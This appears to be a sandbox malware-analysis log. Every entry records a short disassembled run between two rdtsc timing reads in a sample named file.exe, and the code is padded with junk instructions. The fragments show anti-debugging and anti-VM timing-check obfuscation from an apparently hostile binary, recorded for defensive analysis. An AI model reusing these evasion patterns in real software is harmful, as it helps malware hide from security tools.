Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D03A7 second address: 53D03B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B2772Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D03B8 second address: 53D03BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D03BE second address: 53D03C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D03C2 second address: 53D03C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D03C6 second address: 53D03ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop eax 0x0000000e call 00007F3DB4B27737h 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0110 second address: 53F0140 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx esi, dx 0x0000000e movsx ebx, cx 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov dl, cl 0x00000018 movsx ebx, ax 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0140 second address: 53F0176 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B2772Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F3DB4B27736h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F3DB4B2772Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0176 second address: 53F017C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F017C second address: 53F0181 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0181 second address: 53F01AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F3DB4EC7BAAh 0x0000000a and ecx, 26A32BB8h 0x00000010 jmp 00007F3DB4EC7BABh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F01AC second address: 53F01B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F01B0 second address: 53F01B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F01B4 second address: 53F01BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54106DC second address: 54106E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54106E0 second address: 54106E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54106E6 second address: 5410755 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F3DB4EC7BAEh 0x00000011 adc ah, FFFFFF98h 0x00000014 jmp 00007F3DB4EC7BABh 0x00000019 popfd 0x0000001a call 00007F3DB4EC7BB8h 0x0000001f mov edi, ecx 0x00000021 pop eax 0x00000022 popad 0x00000023 push eax 0x00000024 jmp 00007F3DB4EC7BACh 0x00000029 xchg eax, ebp 0x0000002a pushad 0x0000002b movzx eax, dx 0x0000002e mov bh, FDh 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410755 second address: 5410759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410759 second address: 541075F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541075F second address: 54107FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 299D2B2Bh 0x00000008 pushfd 0x00000009 jmp 00007F3DB4B27730h 0x0000000e sub si, 06B8h 0x00000013 jmp 00007F3DB4B2772Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ecx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F3DB4B27734h 0x00000024 jmp 00007F3DB4B27735h 0x00000029 popfd 0x0000002a mov edx, eax 0x0000002c popad 0x0000002d push eax 0x0000002e jmp 00007F3DB4B2772Dh 0x00000033 xchg eax, ecx 0x00000034 pushad 0x00000035 mov al, 24h 0x00000037 mov ax, dx 0x0000003a popad 0x0000003b mov eax, dword ptr [774365FCh] 0x00000040 jmp 00007F3DB4B2772Bh 0x00000045 test eax, eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F3DB4B27735h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54107FB second address: 5410801 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410801 second address: 5410858 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F3E26ACA883h 0x0000000e pushad 0x0000000f mov si, bx 0x00000012 popad 0x00000013 mov ecx, eax 0x00000015 pushad 0x00000016 call 00007F3DB4B27738h 0x0000001b pushad 0x0000001c popad 0x0000001d pop ecx 0x0000001e popad 0x0000001f xor eax, dword ptr [ebp+08h] 0x00000022 pushad 0x00000023 mov ebx, 699A4BDCh 0x00000028 movsx ebx, ax 0x0000002b popad 0x0000002c and ecx, 1Fh 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F3DB4B27733h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410858 second address: 541087D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541087D second address: 5410883 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410916 second address: 5410925 instructions: 0x00000000 rdtsc 0x00000002 mov al, F3h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410925 second address: 541092B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541092B second address: 5410931 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410931 second address: 5410935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410935 second address: 541097C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ah, 99h 0x0000000e pushfd 0x0000000f jmp 00007F3DB4EC7BB7h 0x00000014 sbb esi, 5248CE5Eh 0x0000001a jmp 00007F3DB4EC7BB9h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541097C second address: 541098C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DB4B2772Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C000E second address: 53C0029 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ebx, 55A58CE6h 0x00000012 mov dl, 91h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0029 second address: 53C00F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F3DB4B27731h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 mov di, si 0x00000017 popad 0x00000018 mov edi, ecx 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e call 00007F3DB4B2772Ch 0x00000023 mov bx, cx 0x00000026 pop ecx 0x00000027 pushfd 0x00000028 jmp 00007F3DB4B27737h 0x0000002d sbb al, FFFFFFDEh 0x00000030 jmp 00007F3DB4B27739h 0x00000035 popfd 0x00000036 popad 0x00000037 and esp, FFFFFFF8h 0x0000003a pushad 0x0000003b mov si, E943h 0x0000003f pushfd 0x00000040 jmp 00007F3DB4B27738h 0x00000045 and ecx, 25474208h 0x0000004b jmp 00007F3DB4B2772Bh 0x00000050 popfd 0x00000051 popad 0x00000052 xchg eax, ecx 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F3DB4B27735h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C00F9 second address: 53C00FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C00FF second address: 53C0103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0103 second address: 53C0153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a movzx eax, bx 0x0000000d popad 0x0000000e xchg eax, ecx 0x0000000f jmp 00007F3DB4EC7BAAh 0x00000014 xchg eax, ebx 0x00000015 jmp 00007F3DB4EC7BB0h 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F3DB4EC7BACh 0x00000024 xor cx, B928h 0x00000029 jmp 00007F3DB4EC7BABh 0x0000002e popfd 0x0000002f mov bx, ax 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0153 second address: 53C017E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27735h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov edi, ecx 0x0000000d pushad 0x0000000e mov ebx, esi 0x00000010 popad 0x00000011 popad 0x00000012 mov ebx, dword ptr [ebp+10h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C017E second address: 53C0182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0182 second address: 53C0186 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0186 second address: 53C018C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C018C second address: 53C019E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DB4B2772Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C019E second address: 53C020D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d movzx eax, di 0x00000010 pushfd 0x00000011 jmp 00007F3DB4EC7BB1h 0x00000016 and al, FFFFFFB6h 0x00000019 jmp 00007F3DB4EC7BB1h 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 pushad 0x00000022 push ebx 0x00000023 mov bh, al 0x00000025 pop ebx 0x00000026 movzx eax, dx 0x00000029 popad 0x0000002a xchg eax, esi 0x0000002b pushad 0x0000002c mov edi, 53A4B7F0h 0x00000031 movsx edx, cx 0x00000034 popad 0x00000035 mov esi, dword ptr [ebp+08h] 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F3DB4EC7BB7h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C020D second address: 53C023A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3DB4B2772Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C023A second address: 53C024A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DB4EC7BACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C024A second address: 53C029F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B2772Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F3DB4B27739h 0x00000011 xchg eax, edi 0x00000012 jmp 00007F3DB4B2772Eh 0x00000017 test esi, esi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F3DB4B27737h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C029F second address: 53C02A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C02A5 second address: 53C02A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C02A9 second address: 53C02C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F3E26EB5F0Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3DB4EC7BAAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C02C3 second address: 53C02E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 call 00007F3DB4B2772Ah 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f cmp dword ptr [esi+08h], DDEEDDEEh 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C02E4 second address: 53C02FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C02FE second address: 53C03E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 44h 0x00000005 call 00007F3DB4B2772Ah 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007F3E26B15A40h 0x00000014 jmp 00007F3DB4B27731h 0x00000019 mov edx, dword ptr [esi+44h] 0x0000001c pushad 0x0000001d mov edx, esi 0x0000001f call 00007F3DB4B27738h 0x00000024 mov ebx, esi 0x00000026 pop ecx 0x00000027 popad 0x00000028 or edx, dword ptr [ebp+0Ch] 0x0000002b pushad 0x0000002c mov dh, 38h 0x0000002e pushfd 0x0000002f jmp 00007F3DB4B27734h 0x00000034 add eax, 47CCDCC8h 0x0000003a jmp 00007F3DB4B2772Bh 0x0000003f popfd 0x00000040 popad 0x00000041 test edx, 61000000h 0x00000047 pushad 0x00000048 mov di, si 0x0000004b pushfd 0x0000004c jmp 00007F3DB4B27730h 0x00000051 or cx, 5F28h 0x00000056 jmp 00007F3DB4B2772Bh 0x0000005b popfd 0x0000005c popad 0x0000005d jne 00007F3E26B15A09h 0x00000063 jmp 00007F3DB4B27736h 0x00000068 test byte ptr [esi+48h], 00000001h 0x0000006c jmp 00007F3DB4B27730h 0x00000071 jne 00007F3E26B159F2h 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b pushad 0x0000007c popad 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C03E1 second address: 53C03E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C03E5 second address: 53C03EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C03EB second address: 53C03F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0874 second address: 53B087A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B087A second address: 53B087E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B087E second address: 53B08B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3DB4B27736h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3DB4B27737h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B08B7 second address: 53B08BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B08BD second address: 53B08C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B08C1 second address: 53B0975 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F3DB4EC7BB6h 0x00000012 and esp, FFFFFFF8h 0x00000015 jmp 00007F3DB4EC7BB0h 0x0000001a xchg eax, ebx 0x0000001b pushad 0x0000001c mov di, ax 0x0000001f call 00007F3DB4EC7BAAh 0x00000024 pop ebx 0x00000025 popad 0x00000026 push eax 0x00000027 pushad 0x00000028 pushad 0x00000029 mov eax, edi 0x0000002b popad 0x0000002c mov di, cx 0x0000002f popad 0x00000030 xchg eax, ebx 0x00000031 jmp 00007F3DB4EC7BACh 0x00000036 xchg eax, esi 0x00000037 pushad 0x00000038 jmp 00007F3DB4EC7BAEh 0x0000003d call 00007F3DB4EC7BB2h 0x00000042 jmp 00007F3DB4EC7BB2h 0x00000047 pop esi 0x00000048 popad 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F3DB4EC7BB7h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0975 second address: 53B0999 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4B27739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0999 second address: 53B099F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B099F second address: 53B09B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DB4B27731h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B09B4 second address: 53B09FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e pushad 0x0000000f call 00007F3DB4EC7BACh 0x00000014 jmp 00007F3DB4EC7BB2h 0x00000019 pop ecx 0x0000001a mov eax, edx 0x0000001c popad 0x0000001d mov ebx, 00000000h 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 mov ebx, ecx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B09FB second address: 53B0ADA instructions: 0x00000000 rdtsc 0x00000002 movzx eax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007F3DB4B27737h 0x0000000c push esi 0x0000000d pop ebx 0x0000000e pop ecx 0x0000000f popad 0x00000010 test esi, esi 0x00000012 jmp 00007F3DB4B2772Bh 0x00000017 je 00007F3E26B1D08Ah 0x0000001d pushad 0x0000001e call 00007F3DB4B27734h 0x00000023 mov ch, 1Bh 0x00000025 pop edx 0x00000026 mov edx, ecx 0x00000028 popad 0x00000029 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000030 jmp 00007F3DB4B27736h 0x00000035 mov ecx, esi 0x00000037 jmp 00007F3DB4B27730h 0x0000003c je 00007F3E26B1D04Fh 0x00000042 pushad 0x00000043 mov cl, 9Ah 0x00000045 pushfd 0x00000046 jmp 00007F3DB4B27733h 0x0000004b sbb cx, 7CBEh 0x00000050 jmp 00007F3DB4B27739h 0x00000055 popfd 0x00000056 popad 0x00000057 test byte ptr [77436968h], 00000002h 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F3DB4B27738h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0ADA second address: 53B0AE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0AE9 second address: 53B0AEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0AEE second address: 53B0B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jne 00007F3E26EBD467h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0B01 second address: 53B0B05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0B05 second address: 53B0B18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DB4EC7BAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0B18 second address: 53B0B1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0B1E second address: 53B0B22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0B22 second address: 53B0B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0B33 second address: 53B0B37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0B37 second address: 53B0B3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0B3D second address: 53B0B43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0B43 second address: 53B0B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
